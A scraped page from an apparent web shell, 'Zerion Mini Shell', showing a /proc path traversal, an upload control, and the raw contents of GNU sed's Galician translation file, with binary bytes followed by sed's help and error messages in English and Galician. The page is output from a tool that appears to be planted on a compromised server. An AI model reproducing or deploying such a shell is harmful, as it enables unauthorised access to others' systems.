ok

Mini Shell

Direktori : /proc/thread-self/root/proc/self/root/proc/thread-self/root/usr/share/locale/gl/LC_MESSAGES/
Upload File :
Current File : //proc/thread-self/root/proc/self/root/proc/thread-self/root/usr/share/locale/gl/LC_MESSAGES/sed.mo

��U�ql0�1,,5YN�7�\	_s	`�	u4
b�
V
Yd~��=%��

5$
BZ
�
e�
w ����$%7Rcl#������	H(q�!���(�2#Pt�$���#B02s� ���**Cn�
�#�#�&�*,Iv�-����
*C\�w.'D:l`�?bHm�g��ue�e��W��*���E�_2����\$�' #, P 'l � � � 
� (� #!"8![!b!�!�!�!�!L�!!"<"1W"�"�"G�"	#"!#$D#(i#(�#2�#0�#$$-D$[r$:�$	%(%+E%(q%9�%2�%(&0&H&/X&/�&6�&�&('@5'!v'�'>�'�'((.(J(Z(x(+�(/67-8230	EBU15O&)*DT
?>$9F,;KR.H"PLQA'4:@!JN<C#MI%G(S= +

If no -e, --expression, -f, or --file option is given, then the first
non-option argument is taken as the sed script to interpret.  All
remaining arguments are names of input files; if no input files are
specified, then the standard input is read.

      --help     display this help and exit
      --version  output version information and exit
  --follow-symlinks
                 follow symlinks when processing in place
  --posix
                 disable all GNU extensions.
  -R, --regexp-perl
                 use Perl 5's regular expressions syntax in the script.
  -b, --binary
                 open files in binary mode (CR+LFs are not processed specially)
  -e script, --expression=script
                 add the script to the commands to be executed
  -f script-file, --file=script-file
                 add the contents of script-file to the commands to be executed
  -l N, --line-length=N
                 specify the desired line-wrap length for the `l' command
  -n, --quiet, --silent
                 suppress automatic printing of pattern space
  -r, --regexp-extended
                 use extended regular expressions in the script.
  -s, --separate
                 consider files as separate rather than as a single continuous
                 long stream.
  -u, --unbuffered
                 load minimal amounts of data from the input files and flush
                 the output buffers more often
%s: -e expression #%lu, char %lu: %s
%s: can't read %s: %s
%s: file %s line %lu: %s
%s: warning: failed to get security context of %s: %s%s: warning: failed to set default file creation context to %s: %s: doesn't want any addressesE-mail bug reports to: <%s>.
Be sure to include the word ``%s'' somewhere in the ``Subject:'' field.
GNU sed home page: <http://www.gnu.org/software/sed/>.
General help using GNU software: <http://www.gnu.org/gethelp/>.
Invalid back referenceInvalid character class nameInvalid collation characterInvalid content of \{\}Invalid preceding regular expressionInvalid range endInvalid regular expressionMemory exhaustedNo matchNo previous regular expressionPremature end of regular expressionRegular expression too bigSuccessTrailing backslashUnmatched ( or \(Unmatched ) or \)Unmatched [ or [^Unmatched \{Usage: %s [OPTION]... {script-only-if-no-other-script} [input-file]...

`e' command not supported`}' doesn't want any addressescan't find label for jump to `%s'cannot remove %s: %scannot rename %s: %scannot specify modifiers on empty regexpcannot stat %s: %scommand only uses one addresscomments don't accept any addressescouldn't attach to %s: %scouldn't edit %s: is a terminalcouldn't edit %s: not a regular filecouldn't follow symlink %s: %scouldn't open file %s: %scouldn't open temporary file %s: %scouldn't write %d item to %s: %scouldn't write %d items to %s: %sdelimiter character is not a single-byte charactererror in subprocessexpected \ after `a', `c' or `i'expected newer version of sedextra characters after commandinvalid reference \%d on `s' command's RHSinvalid usage of +N or ~N as first addressinvalid usage of line address 0missing commandmultiple `!'smultiple `g' options to `s' commandmultiple `p' options to `s' commandmultiple number options to `s' commandno input filesno previous regular expressionnumber option to `s' command may not be zerooption `e' not supportedread error on %s: %sstrings for `y' command are different lengthsunexpected `,'unexpected `}'unknown command: `%c'unknown option to `s'unmatched `{'unterminated `s' commandunterminated `y' commandunterminated address regexProject-Id-Version: sed 4.2.1
Report-Msgid-Bugs-To: bug-gnu-utils@gnu.org
POT-Creation-Date: 2012-12-22 14:36+0100
PO-Revision-Date: 2011-02-04 02:21+0100
Last-Translator: Francisco Javier Tsao Santín <tsao@enelparaiso.org>
Language-Team: Galician <proxecto@trasno.net>
Language: gl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n!=1;

Se non se indican as opcións -e, --expression, -f ou --file, entón o primeiro
argumento que non é unha opción tómase como o script sed para interpretar. Tódolos
argumentos restantes son nomes de ficheiros de entrada; se non se especifican
ficheiros de entrada, entón se le a entrada standard.

     --help     amosa esta axuda e sae
     --version  amosa-la información da versión e saír
  --follow-symlinks
                 segue ligazóns simbólicas cando se procesan no seu sitio
  --posix
                 desactiva tódalas extensións GNU.
  -R, --regexp-perl
                 usa-la sintaxe de expresións regulares de Perl 5 no script.
  -b, --binary
                 ficheiros abertos en modo binario (non se procesan de xeito especial CR+LFs)
-e script, --expression=script
                  engade script ás instruccións que serán executadas
  -f ficheiro-de-script, --file=ficheiro-de-script
                 engade o contido do ficheiro do script ás instruccións que serán executadas
  -l N, --line-length=N
                 especifica a lonxitude de axuste da liña desexado para a instrucción `l' 
  -n, --quiet, --silent
                 suprime a visualización automática do espacio de patróns
  -r, --regexp-extended
                 usa a sintaxe extendida de expresións regulares no script.
  -s, --separate
                 trata os ficheiros coma separados no canto de coma unha
                 longa tira de caracteres continua.
  -u, --unbuffered 
                 carga cantidades mínimas de datos dos ficheiros de entrada
                 e baleira os buffers de saída máis decote
%s: -e expresión #%lu, carácter %lu: %s
%s: non se puido ler %s: %s
%s: ficheiro %s liña %lu: %s
%s: advertencia: fallou ó adoita-lo contexto de seguridade de %s: %s%s: advertencia: fallou ó establecer un contexto de creación de ficheiro por defecto a %s: %s: non acepta un enderezoInforme dos erros no programa a: <%s> .
Informe dos erros na traducción a tsao@enelparaiso.org .
Asegúrese de incluí-la palabra ``%s'' nalgunha parte do campo ``Subject:''.
Páxina principal de GNU sed: <http://www.gnu.org/software/sed/>.
Axuda xeral usando software GNU: <http://www.gnu.org/gethelp/>.
Referencia cara a atrás non válidaNome de clase de caracteres non válidoCarácter de ordeamento non válidoContido de \{\} non válidoExpresión regular anterior non válidaFin de rango non válidaExpresión regular non válidaMemoria esgotadaNon se atopouNon hai unha expresión regular anteriorFin prematura da expresión regularExpresión regular grande de máisÉxitoBarra invertida á fin de liña( ou \( sen parella) ou \) sen parella[ ou [^ sen parella\{ sen parellaUso: %s [OPCIÓN]... {script-só-sen-outro-script} [ficheiro-de-entrada]...
o comando `e' non está soportado`}' non acepta un enderezonon se puido atopa-la etiqueta para saltar a `%s'non se puido borrar %s: %snon se puido renomear %s: %snon se poden especificar modificadores nunha expresión regular baleiranon se puido ler %s: %sa instrucción só usa un enderezoos comentarios non aceptan enderezosnon se puido adxuntar elemento en %s: %snon se puido editar %s: é unha terminalnon se puido editar %s: non é un ficheiro regularnon se puido segui-la ligazón simbólica %s: %snon se puido abri-lo ficheiro %s: %snon se puido abri-lo ficheiro temporal %s: %snon se puido escribir %d elemento en %s: %snon se puideron escribir %d elementos en %s: %so carácter delimitador non é un carácter de byte simpleerro no subprocesoesperábase \ despois de `a', `c' ou `i'se esperaba unha versión de sed máis novacaracteres extra despois da instrucciónreferencia \%d non válida no lado dereito do comando `s'non se pode usar +N ou ~N como primeira direcciónuso non válido da dirección de liña 0falta unha instrucciónmúltiples `!'smúltiples opcións `g' para a instrucción `s'múltiples opcións `p' para a instrucción `s'múltiples opcións numéricas para a instrucción `s'non hai ficheiros de entradanon hai unha expresión regular anteriorunha opción numérica para a instrucción `s' non pode ser ceroa opción `e' non está soportadaerro de lectura en %s: %sas cadeas para a instrucción `y' teñen lonxitudes diferentes`,' inesperada`}' inesperadoinstrucción descoñecida:`%c'opción de `s' descoñecida`{' sen parellainstrucción `s' non rematadainstrucción `y' non rematadaexpresión regular de enderezo non rematada

Zerion Mini Shell 1.0